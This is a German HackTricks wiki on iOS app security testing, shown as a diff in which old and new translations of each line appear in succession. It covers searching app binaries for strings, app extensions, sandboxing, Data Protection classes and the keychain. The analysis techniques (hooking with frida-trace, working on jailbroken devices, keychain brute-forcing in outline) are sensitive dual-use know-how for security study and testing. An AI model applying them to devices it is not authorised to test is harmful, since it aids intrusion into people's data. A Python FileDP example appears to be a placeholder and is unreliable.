Das Anpassen des `-A num, --after-context=num` Flags ermöglicht die Anzeige von mehr oder weniger Zeilen. Diese Methode ist auch für verschlüsselte App-Binärdateien geeignet und wurde gegen mehrere App Store-Apps verifiziert. Die zuvor erwähnten Tools können ebenfalls auf jailbroken iOS-Geräten für ähnliche Zwecke eingesetzt werden.
**Hinweis**: Die direkte Verwendung des `strings`-Befehls wird für diese Aufgabe aufgrund seiner Einschränkungen bei der Suche nach relevanten Informationen nicht empfohlen. Stattdessen wird empfohlen, grep mit der `-a`-Flagge auf der Binärdatei zu verwenden oder radare2 (`izz`)/rabin2 (`-zz`) für effektivere Ergebnisse einzusetzen.
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
</details>
**Hinweis**: Die direkte Verwendung des `strings`-Befehls wird für diese Aufgabe aufgrund seiner Einschränkungen bei der Auffindung relevanter Informationen nicht empfohlen. Stattdessen ist es ratsam, grep mit dem `-a`-Flag auf der Binärdatei zu verwenden oder radare2 (`izz`)/rabin2 (`-zz`) für effektivere Ergebnisse zu nutzen.

View file

@ -1,77 +1,79 @@
# iOS App-Erweiterungen
# iOS App Extensions
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
App-Erweiterungen verbessern die Funktionalität von Apps, indem sie ihnen ermöglichen, mit anderen Apps oder dem System zu interagieren und benutzerdefinierte Funktionen oder Inhalte bereitzustellen. Diese Erweiterungen umfassen:
App-Erweiterungen verbessern die Funktionalität von Apps, indem sie es ihnen ermöglichen, mit anderen Apps oder dem System zu interagieren und benutzerdefinierte Funktionen oder Inhalte bereitzustellen. Diese Erweiterungen umfassen:
- **Benutzerdefinierte Tastatur**: Bietet eine einzigartige Tastatur in allen Apps und ersetzt die standardmäßige iOS-Tastatur.
- **Benutzerdefinierte Tastatur**: Bietet eine einzigartige Tastatur in allen Apps und ersetzt die Standard-iOS-Tastatur.
- **Teilen**: Ermöglicht das Teilen in sozialen Netzwerken oder direkt mit anderen.
- **Heute (Widgets)**: Liefert Inhalte oder führt Aufgaben schnell aus der Ansicht "Heute" im Benachrichtigungscenter aus.
- **Heute (Widgets)**: Liefert Inhalte oder führt Aufgaben schnell aus der Heute-Ansicht des Benachrichtigungszentrums aus.
Wenn ein Benutzer mit diesen Erweiterungen interagiert, z. B. Text aus einer Host-App teilt, verarbeitet die Erweiterung diese Eingabe in ihrem Kontext und nutzt die gemeinsamen Informationen, um ihre Aufgabe auszuführen, wie in der Dokumentation von Apple beschrieben.
Wenn ein Benutzer mit diesen Erweiterungen interagiert, wie z.B. beim Teilen von Text aus einer Host-App, verarbeitet die Erweiterung diese Eingabe in ihrem Kontext und nutzt die geteilten Informationen, um ihre Aufgabe auszuführen, wie in der Dokumentation von Apple beschrieben.
### **Sicherheitsüberlegungen**
Wichtige Sicherheitsaspekte sind:
Wichtige Sicherheitsaspekte umfassen:
- Erweiterungen und ihre enthaltenen Apps kommunizieren über Inter-Process Communication, nicht direkt.
- Erweiterungen und ihre enthaltenen Apps kommunizieren über Interprozesskommunikation, nicht direkt.
- Das **Heute-Widget** ist einzigartig, da es seine App über eine spezifische Methode öffnen kann.
- Der Zugriff auf gemeinsame Daten ist innerhalb eines privaten Containers erlaubt, direkter Zugriff ist jedoch eingeschränkt.
- Bestimmte APIs, einschließlich HealthKit, sind für App-Erweiterungen nicht zugänglich. Diese können auch keine lang laufenden Aufgaben starten oder auf die Kamera oder das Mikrofon zugreifen, außer für iMessage-Erweiterungen.
- Der Zugriff auf gemeinsam genutzte Daten ist innerhalb eines privaten Containers erlaubt, aber der direkte Zugriff ist eingeschränkt.
- Bestimmte APIs, einschließlich HealthKit, sind für App-Erweiterungen tabu, die auch keine lang laufenden Aufgaben starten, auf die Kamera oder das Mikrofon zugreifen können, außer bei iMessage-Erweiterungen.
### Statische Analyse
#### **Identifizierung von App-Erweiterungen**
Um App-Erweiterungen im Quellcode zu finden, suchen Sie nach `NSExtensionPointIdentifier` in Xcode oder überprüfen Sie das App-Bundle auf `.appex`-Dateien, die Erweiterungen anzeigen. Ohne Quellcode verwenden Sie grep oder SSH, um diese Bezeichner im App-Bundle zu finden.
Um App-Erweiterungen im Quellcode zu finden, suche nach `NSExtensionPointIdentifier` in Xcode oder inspiziere das App-Bundle nach `.appex`-Dateien, die auf Erweiterungen hinweisen. Ohne Quellcode verwende grep oder SSH, um diese Identifikatoren im App-Bundle zu lokalisieren.
#### **Unterstützte Datentypen**
Überprüfen Sie die `Info.plist`-Datei einer Erweiterung auf `NSExtensionActivationRule`, um unterstützte Datentypen zu identifizieren. Diese Einrichtung stellt sicher, dass nur kompatible Datentypen die Erweiterung in Host-Apps auslösen.
Überprüfe die `Info.plist`-Datei einer Erweiterung auf `NSExtensionActivationRule`, um unterstützte Datentypen zu identifizieren. Diese Einrichtung stellt sicher, dass nur kompatible Datentypen die Erweiterung in Host-Apps auslösen.
#### **Datenaustausch**
#### **Datenfreigabe**
Der Datenaustausch zwischen einer App und ihrer Erweiterung erfordert einen gemeinsamen Container, der über "App Groups" eingerichtet und über `NSUserDefaults` zugegriffen wird. Dieser gemeinsame Speicherplatz ist für Hintergrundübertragungen erforderlich, die von Erweiterungen initiiert werden.
Die Datenfreigabe zwischen einer App und ihrer Erweiterung erfordert einen gemeinsamen Container, der über "App-Gruppen" eingerichtet und über `NSUserDefaults` zugegriffen wird. Dieser gemeinsame Raum ist notwendig für Hintergrundübertragungen, die von Erweiterungen initiiert werden.
#### **Einschränkung von Erweiterungen**
Apps können bestimmte Erweiterungstypen einschränken, insbesondere benutzerdefinierte Tastaturen, um sicherzustellen, dass die Handhabung sensibler Daten den Sicherheitsprotokollen entspricht.
Apps können bestimmte Erweiterungstypen einschränken, insbesondere benutzerdefinierte Tastaturen, um sicherzustellen, dass der Umgang mit sensiblen Daten den Sicherheitsprotokollen entspricht.
### Dynamische Analyse
Die dynamische Analyse umfasst:
Dynamische Analyse umfasst:
- **Untersuchung von gemeinsam genutzten Elementen**: Haken Sie sich in `NSExtensionContext - inputItems` ein, um gemeinsam genutzte Datentypen und Ursprünge zu sehen.
- **Identifizierung von Erweiterungen**: Finden Sie heraus, welche Erweiterungen Ihre Daten verarbeiten, indem Sie interne Mechanismen wie `NSXPCConnection` beobachten.
- **Überprüfen von gemeinsam genutzten Elementen**: Hook in `NSExtensionContext - inputItems`, um gemeinsam genutzte Datentypen und Ursprünge zu sehen.
- **Identifizierung von Erweiterungen**: Entdecke, welche Erweiterungen deine Daten verarbeiten, indem du interne Mechanismen wie `NSXPCConnection` beobachtest.
Tools wie `frida-trace` können dabei helfen, die zugrunde liegenden Prozesse zu verstehen, insbesondere für diejenigen, die sich für die technischen Details der Inter-Process Communication interessieren.
Tools wie `frida-trace` können helfen, die zugrunde liegenden Prozesse zu verstehen, insbesondere für diejenigen, die an den technischen Details der Interprozesskommunikation interessiert sind.
## Referenzen
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
# Privilegentrennung und Sandbox
# Privilegien-Trennung und Sandbox
In iOS besteht ein Unterschied in den Privilegien zwischen den für Benutzer zugänglichen Anwendungen und den Kernprozessen des Systems. Anwendungen werden unter der Benutzeridentität **`mobile`** ausgeführt, während die wichtigen Systemprozesse als **`root`** arbeiten. Diese Trennung wird durch einen Sandbox-Mechanismus verstärkt, der strenge Einschränkungen für die Aktionen auferlegt, die Anwendungen durchführen können. Zum Beispiel ist es Anwendungen, auch wenn sie dieselbe Benutzeridentität teilen, untersagt, auf die Daten anderer Anwendungen zuzugreifen oder diese zu ändern.
In iOS gibt es einen Unterschied in den Privilegien zwischen den benutzerzugänglichen Anwendungen und den Kernprozessen des Systems. Anwendungen laufen unter der **`mobile`** Benutzeridentität, während die entscheidenden Systemprozesse als **`root`** arbeiten. Diese Trennung wird durch einen Sandbox-Mechanismus verstärkt, der strenge Einschränkungen dafür auferlegt, welche Aktionen Anwendungen durchführen können. Zum Beispiel, selbst wenn Anwendungen dieselbe Benutzeridentität teilen, ist es ihnen untersagt, auf die Daten anderer Anwendungen zuzugreifen oder diese zu ändern.
Anwendungen werden in einem bestimmten Verzeichnis (`private/var/mobile/Applications/{zufällige ID}`) installiert und haben eingeschränkten Lesezugriff auf bestimmte Systembereiche und -funktionen, wie SMS und Telefonanrufe. Der Zugriff auf geschützte Bereiche löst eine Popup-Anfrage zur Benutzerberechtigung aus.
Anwendungen werden in einem bestimmten Verzeichnis (`private/var/mobile/Applications/{random ID}`) installiert und haben eingeschränkten Lesezugriff auf bestimmte Systembereiche und Funktionen, wie SMS und Telefonanrufe. Der Zugriff auf geschützte Bereiche löst eine Pop-up-Anfrage zur Benutzererlaubnis aus.
# Datenschutz
iOS bietet Entwicklern die **Data Protection APIs**, die auf dem Secure Enclave Processor (SEP) aufbauen - einem dedizierten Coprozessor für kryptografische Operationen und Schlüsselverwaltung. Der SEP gewährleistet die Integrität des Datenschutzes durch einen eindeutigen gerätespezifischen Schlüssel, die Geräte-UID, die darin eingebettet ist.
iOS bietet Entwicklern die **Data Protection APIs**, die auf dem Secure Enclave Processor (SEP) basieren — einem speziellen Co-Prozessor für kryptografische Operationen und Schlüsselmanagement. Der SEP gewährleistet die Integrität des Datenschutzes über einen einzigartigen, gerätespezifischen Schlüssel, die Geräte-UID, die darin eingebettet ist.
Bei der Erstellung einer Datei wird ein eindeutiger 256-Bit-AES-Verschlüsselungsschlüssel generiert, der den Inhalt der Datei verschlüsselt. Dieser Verschlüsselungsschlüssel wird zusammen mit einer Klassen-ID mit einem Klassenschlüssel verschlüsselt und in den Metadaten der Datei gespeichert. Das Entschlüsseln einer Datei beinhaltet die Verwendung des Systemschlüssels zum Zugriff auf die Metadaten, das Abrufen des Klassenschlüssels mit der Klassen-ID und anschließend das Entschlüsseln des eindeutigen Verschlüsselungsschlüssels der Datei.
Bei der Dateierstellung wird ein einzigartiger 256-Bit-AES-Verschlüsselungsschlüssel generiert, der den Inhalt der Datei verschlüsselt. Dieser Verschlüsselungsschlüssel wird zusammen mit einer Klassen-ID verschlüsselt, indem ein Klassenschlüssel verwendet und in den Metadaten der Datei gespeichert wird. Das Entschlüsseln einer Datei erfordert die Verwendung des Schlüssels des Systems, um auf die Metadaten zuzugreifen, die Klassen-ID abzurufen und dann den einzigartigen Verschlüsselungsschlüssel der Datei zu entschlüsseln.
iOS definiert **vier Schutzklassen** für die Datensicherheit, die bestimmen, wann und wie auf Daten zugegriffen werden kann:
- **Vollständiger Schutz (NSFileProtectionComplete)**: Daten sind nicht zugänglich, bis das Gerät mit dem Passcode des Benutzers entsperrt wird.
- **Geschützt, es sei denn, geöffnet (NSFileProtectionCompleteUnlessOpen)**: Ermöglicht den Dateizugriff auch nach dem Sperren des Geräts, sofern die Datei geöffnet wurde, als das Gerät entsperrt war.
- **Vollständiger Schutz (NSFileProtectionComplete)**: Daten sind unzugänglich, bis das Gerät mit dem Benutzerpasswort entsperrt wird.
- **Geschützt, es sei denn, es ist geöffnet (NSFileProtectionCompleteUnlessOpen)**: Ermöglicht den Dateizugriff, selbst wenn das Gerät gesperrt ist, vorausgesetzt, die Datei wurde geöffnet, als das Gerät entsperrt war.
- **Geschützt bis zur ersten Benutzerauthentifizierung (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Daten sind nach der ersten Benutzerentsperrung nach dem Booten zugänglich und bleiben auch dann zugänglich, wenn das Gerät erneut gesperrt wird.
- **Kein Schutz (NSFileProtectionNone)**: Daten sind nur durch die Geräte-UID geschützt und ermöglichen schnelles Löschen von Remote-Daten.
- **Kein Schutz (NSFileProtectionNone)**: Daten sind nur durch die Geräte-UID geschützt, was ein schnelles Löschen von Daten aus der Ferne ermöglicht.
Die Verschlüsselung aller Klassen, außer `NSFileProtectionNone`, erfolgt mit einem Schlüssel, der sowohl aus der Geräte-UID als auch aus dem Passcode des Benutzers abgeleitet wird, um sicherzustellen, dass die Entschlüsselung nur auf dem Gerät mit dem richtigen Passcode möglich ist. Ab iOS 7 ist die Standard-Schutzklasse "Geschützt bis zur ersten Benutzerauthentifizierung".
Die Verschlüsselung aller Klassen, mit Ausnahme von `NSFileProtectionNone`, erfolgt mit einem Schlüssel, der sowohl aus der Geräte-UID als auch aus dem Benutzerpasswort abgeleitet wird, was sicherstellt, dass die Entschlüsselung nur auf dem Gerät mit dem richtigen Passwort möglich ist. Ab iOS 7 ist die Standard-Schutzklasse "Geschützt bis zur ersten Benutzerauthentifizierung".
Entwickler können [**FileDP**](https://github.com/abjurato/FileDp-Source) verwenden, ein Tool zum Überprüfen der Datenschutzklasse von Dateien auf einem iPhone.
Entwickler können [**FileDP**](https://github.com/abjurato/FileDp-Source) verwenden, ein Tool zur Überprüfung der Datenschutzklasse von Dateien auf einem iPhone.
```python
# Example code to use FileDP for checking file protection class
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
@ -44,44 +45,44 @@ python filedp.py /path/to/check
```
## **Der Schlüsselbund**
In iOS dient ein **Schlüsselbund** als sicherer **verschlüsselter Container** zum Speichern von **sensiblen Informationen**, der nur von der Anwendung, die sie gespeichert hat, oder von explizit autorisierten Anwendungen zugänglich ist. Diese Verschlüsselung wird durch ein einzigartiges **von iOS generiertes Passwort** verstärkt, das selbst mit **AES** verschlüsselt ist. Dieser Verschlüsselungsprozess nutzt eine **PBKDF2-Funktion**, die den Passcode des Benutzers mit einem aus der **UID** des Geräts abgeleiteten Salt kombiniert, auf den nur der **sichere Enklaven-Chipsatz** zugreifen kann. Selbst wenn der Passcode des Benutzers bekannt ist, bleiben die Inhalte des Schlüsselbunds auf jedem anderen Gerät als demjenigen, auf dem sie ursprünglich verschlüsselt wurden, unzugänglich.
In iOS dient ein **Schlüsselbund** als sicheres **verschlüsseltes Container** zum Speichern von **sensiblen Informationen**, die nur von der Anwendung, die sie gespeichert hat, oder von ausdrücklich autorisierten Anwendungen zugänglich sind. Diese Verschlüsselung wird durch ein einzigartiges **Passwort, das von iOS generiert wird**, verstärkt, das selbst mit **AES** verschlüsselt ist. Dieser Verschlüsselungsprozess nutzt eine **PBKDF2-Funktion**, die den Benutzer-Passcode mit einem Salt kombiniert, das aus der **UID** des Geräts abgeleitet ist, einem Bestandteil, auf den nur der **Secure Enclave-Chip** zugreifen kann. Folglich bleiben die Inhalte des Schlüsselbunds selbst dann unzugänglich, wenn der Benutzer-Passcode bekannt ist, auf jedem anderen Gerät als dem, auf dem sie ursprünglich verschlüsselt wurden.
**Die Verwaltung und der Zugriff** auf die Daten des Schlüsselbunds werden vom **`securityd`-Daemon** über spezifische App-Berechtigungen wie `Keychain-access-groups` und `application-identifier` gehandhabt.
**Verwaltung und Zugriff** auf die Schlüsselbunddaten werden vom **`securityd`-Daemon** verwaltet, basierend auf spezifischen App-Berechtigungen wie `Keychain-access-groups` und `application-identifier`.
### **Keychain-API-Operationen**
### **Schlüsselbund-API-Operationen**
Die Keychain-API, die in der [Dokumentation von Apple zu Keychain Services](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html) detailliert beschrieben ist, bietet wesentliche Funktionen für das Management der sicheren Speicherung:
Die Schlüsselbund-API, die in der [Dokumentation zu den Schlüsselbunddiensten von Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html) detailliert beschrieben ist, bietet wesentliche Funktionen für das Management der sicheren Speicherung:
- **`SecItemAdd`**: Fügt dem Schlüsselbund einen neuen Eintrag hinzu.
- **`SecItemUpdate`**: Aktualisiert einen vorhandenen Eintrag im Schlüsselbund.
- **`SecItemCopyMatching`**: Ruft einen Eintrag aus dem Schlüsselbund ab.
- **`SecItemDelete`**: Entfernt einen Eintrag aus dem Schlüsselbund.
- **`SecItemAdd`**: Fügt ein neues Element zum Schlüsselbund hinzu.
- **`SecItemUpdate`**: Aktualisiert ein vorhandenes Element im Schlüsselbund.
- **`SecItemCopyMatching`**: Ruft ein Element aus dem Schlüsselbund ab.
- **`SecItemDelete`**: Entfernt ein Element aus dem Schlüsselbund.
Das Brute-Forcing des Schlüsselbund-Passworts beinhaltet entweder den direkten Angriff auf den verschlüsselten Schlüssel oder den Versuch, den Passcode auf dem Gerät selbst zu erraten, wobei die Durchsetzung einer Verzögerung zwischen fehlgeschlagenen Versuchen durch den sicheren Enklaven-Chipsatz erheblich behindert wird.
Das Brute-Forcing des Schlüsselbund-Passworts umfasst entweder den direkten Angriff auf den verschlüsselten Schlüssel oder den Versuch, den Passcode auf dem Gerät selbst zu erraten, was erheblich durch die Durchsetzung einer Verzögerung zwischen fehlgeschlagenen Versuchen durch die Secure Enclave erschwert wird.
### **Konfiguration des Schutzes von Schlüsselbunddaten**
### **Konfiguration des Datenschutzes für Schlüsselbund-Elemente**
Die Schutzstufen für Schlüsselbundeinträge werden mithilfe des Attributs `kSecAttrAccessible` während der Erstellung oder Aktualisierung des Eintrags festgelegt. Diese Stufen, [wie von Apple angegeben](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), bestimmen, wann und wie Schlüsselbundeinträge zugänglich sind:
Die Datenschutzniveaus für Schlüsselbund-Elemente werden mit dem Attribut `kSecAttrAccessible` während der Erstellung oder Aktualisierung des Elements festgelegt. Diese Niveaus, [wie von Apple angegeben](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), bestimmen, wann und wie Schlüsselbund-Elemente zugänglich sind:
- **`kSecAttrAccessibleAlways`**: Jederzeit zugänglich, unabhängig vom Sperrstatus des Geräts.
- **`kSecAttrAccessibleAlways`**: Jederzeit zugänglich, unabhängig vom Gerätesperrstatus.
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Immer zugänglich, aber nicht in Backups enthalten.
- **`kSecAttrAccessibleAfterFirstUnlock`**: Nach dem ersten Entsperren nach dem Neustart zugänglich.
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Wie oben, aber nicht auf neue Geräte übertragbar.
- **`kSecAttrAccessibleAfterFirstUnlock`**: Zugänglich nach dem ersten Entsperren nach einem Neustart.
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Dasselbe wie oben, aber nicht übertragbar auf neue Geräte.
- **`kSecAttrAccessibleWhenUnlocked`**: Nur zugänglich, wenn das Gerät entsperrt ist.
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Zugänglich, wenn entsperrt, nicht in Backups enthalten.
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Erfordert Geräte-Passcode, nicht in Backups enthalten.
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Erfordert den Gerätepincode, nicht in Backups enthalten.
**`AccessControlFlags`** verfeinern den Zugriff weiter und ermöglichen die biometrische Authentifizierung oder die Verwendung des Passcodes.
**`AccessControlFlags`** verfeinern die Zugriffsarten weiter und ermöglichen biometrische Authentifizierung oder die Verwendung eines Passcodes.
### **Warnung bei gejailbreakten Geräten**
### **Warnung vor jailbreakten Geräten**
{% hint style="warning" %}
Auf **gejailbreakten Geräten** sind die Schutzmaßnahmen des Schlüsselbunds beeinträchtigt und stellen ein erhebliches Sicherheitsrisiko dar.
Auf **jailbroken Geräten** sind die Schutzmaßnahmen des Schlüsselbunds kompromittiert, was ein erhebliches Sicherheitsrisiko darstellt.
{% endhint %}
### **Persistenz von Schlüsselbunddaten**
### **Persistenz der Schlüsselbunddaten**
Im Gegensatz zu app-spezifischen Daten, die beim Deinstallieren der App gelöscht werden, bleiben **Schlüsselbunddaten** auf dem Gerät erhalten. Diese Eigenschaft könnte es neuen Besitzern eines gebrauchten Geräts ermöglichen, einfach durch erneutes Installieren von Apps auf die Anwendungsdaten des vorherigen Besitzers zuzugreifen. Entwickler werden empfohlen, proaktiv Schlüsselbunddaten beim Installieren der App oder beim Abmelden zu löschen, um dieses Risiko zu mindern. Hier ist ein Swift-Code-Beispiel, das zeigt, wie man Schlüsselbunddaten beim ersten Start der App löscht:
Im Gegensatz zu app-spezifischen Daten, die bei der Deinstallation der App gelöscht werden, **persistieren Schlüsselbunddaten** auf dem Gerät. Diese Eigenschaft könnte es neuen Besitzern eines gebrauchten Geräts ermöglichen, auf die Anwendungsdaten des vorherigen Besitzers zuzugreifen, indem sie einfach die Apps neu installieren. Entwicklern wird geraten, proaktiv die Schlüsselbunddaten bei der Installation der App oder beim Abmelden zu löschen, um dieses Risiko zu mindern. Hier ist ein Swift-Codebeispiel, das zeigt, wie man die Schlüsselbunddaten beim ersten Start der App löscht:
```swift
let userDefaults = UserDefaults.standard
@ -93,44 +94,44 @@ userDefaults.set(true, forKey: "hasRunBefore")
userDefaults.synchronize() // Forces the app to update UserDefaults
}
```
# **App-Fähigkeiten**
# **App-Funktionen**
Im Bereich der App-Entwicklung spielt **Sandboxing** eine entscheidende Rolle bei der Verbesserung der Sicherheit. Dieser Prozess stellt sicher, dass jede App in ihrem eigenen eindeutigen Home-Verzeichnis arbeitet und somit keinen Zugriff auf Systemdateien oder Daten anderer Apps hat. Die Durchsetzung dieser Einschränkungen erfolgt durch Sandbox-Richtlinien, die Teil des **Trusted BSD (MAC) Mandatory Access Control Frameworks** sind.
